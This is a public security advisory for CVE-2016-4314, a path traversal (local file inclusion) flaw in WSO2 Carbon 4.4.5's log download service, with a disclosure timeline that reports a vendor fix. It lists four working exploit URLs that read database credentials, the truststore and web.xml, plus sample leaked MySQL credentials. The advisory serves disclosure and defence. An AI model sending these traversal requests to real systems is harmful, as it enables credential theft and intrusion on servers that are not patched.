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WSO2 Carbon 4.4.5 Local File Inclusion

WSO2 Carbon 4.4.5 Local File Inclusion
Posted Aug 13, 2016
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

WSO2 Carbon version 4.4.5 suffers from a local file inclusion vulnerability.

tags | exploit, local, file inclusion
advisories | CVE-2016-4314
MD5 | c82d47e530e9f9c38e9dce39961b76c2

WSO2 Carbon 4.4.5 Local File Inclusion

Change Mirror Download
[+] Credits: John Page aka HYP3RLINX

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/WSO2-CARBON-v4.4.5-LOCAL-FILE-INCLUSION.txt

[+] ISR: ApparitionSec


Vendor:
===============
www.wso2.com



Product:
====================
Ws02Carbon v4.4.5

WSO2 Carbon is the core platform on which WSO2 middleware products are
built. It is based on Java OSGi technology, which allows
components to be dynamically installed, started, stopped, updated, and
uninstalled, and it eliminates component version conflicts.
In Carbon, this capability translates into a solid core of common
middleware enterprise components, including clustering, security,
logging, and monitoring, plus the ability to add components for specific
features needed to solve a specific enterprise scenario.



Vulnerability Type:
=========================
Local File Inclusion (LFI)



CVE Reference:
==============
CVE-2016-4314



Vulnerability Details:
=====================

An authenticated user can download configuration files in the filesystem
via downloadArchivedLogFiles operation in LogViewer admin service.
The request to the admin service accepts a file path relative to the carbon
log file directory (i.e. <WSO2_PRODUCT_HOME>/repository/logs)
hence can access any file in the file system.


References:
https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0098


Example: accessing the registry.xml file via Local File Inclusion exposes
the MySQL passwords.

<currentDBConfig>mysql-db</currentDBConfig>
<dbConfig name="mysql-db">
<url>jdbc:mysql://localhost:3306/regdb</url>
<userName>regadmin</userName>
<password>regadmin</password>
<driverName>com.mysql.jdbc.Driver</driverName>
<maxActive>80</maxActive>
<maxWait>6000</maxWait>
<minIdle>5</minIdle>
</dbConfig>



Exploit code(s):
===============

LFI to read Database creds, truststore key file, web.xml etc...

1) Read MySQL creds
https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/registry.xml&tenantDomain=&serviceName=

2) Read MySQL creds
https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/datasources/master-datasources.xml

3) Access Truststore Key file.
https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/resources/security/client-truststore.jks


4) Read web.xml
https://localhost:9443/carbon/log-view/downloadgz-ajaxprocessor.jsp?logFile=../../repository/conf/tomcat/carbon/WEB-INF/web.xml



Disclosure Timeline:
===========================================
Vendor Notification: May 6, 2016
Vendor Acknowledgement: May 6, 2016
Vendor Fix / Customer Alerts: June 30, 2016
August 12, 2016 : Public Disclosure



Exploitation Technique:
=======================
Local



Severity Level:
===============
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX

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